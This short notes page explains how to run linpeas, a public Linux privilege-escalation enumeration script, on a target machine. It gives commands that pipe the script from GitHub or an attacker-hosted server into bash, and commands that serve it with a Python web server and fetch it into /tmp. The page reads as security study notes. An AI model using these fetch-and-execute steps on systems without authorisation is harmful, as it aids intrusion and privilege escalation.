0xnhl

linpeas

/ Update
1 min read
  • Linpeas (or Linux local Privilege Escalation Awesome Script) is a tool that hunts for any privilege escalation.
  • It is part of PEASS-ng - Privilege Escalation Awesome Scripts SUITE new generation
  • Github Link: https://github.com/peass-ng/PEASS-ng

Usage#

If the remote machine has internet access, run:

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash
plaintext

Else if it is an offline machine, download latest version of linpeas from here to your local machine
or run

wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
plaintext

Create a local server to host the linpeas.sh file

sudo python3 -m http.server [port]
plaintext

Download the script in target machine. Better to put in /tmp folder, give permission and run it.

wget [ip:port]/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
plaintext

OR

curl -L [ip:port]/linpeas.sh | bash
plaintext
linpeas
https://nahil.xyz/vault/tools/linpeas/
AuthorNahil Rasheed
Published atJune 15, 2025
CopyrightCC BY 4.0
DisclaimerThis content is provided strictly for educational purposes only.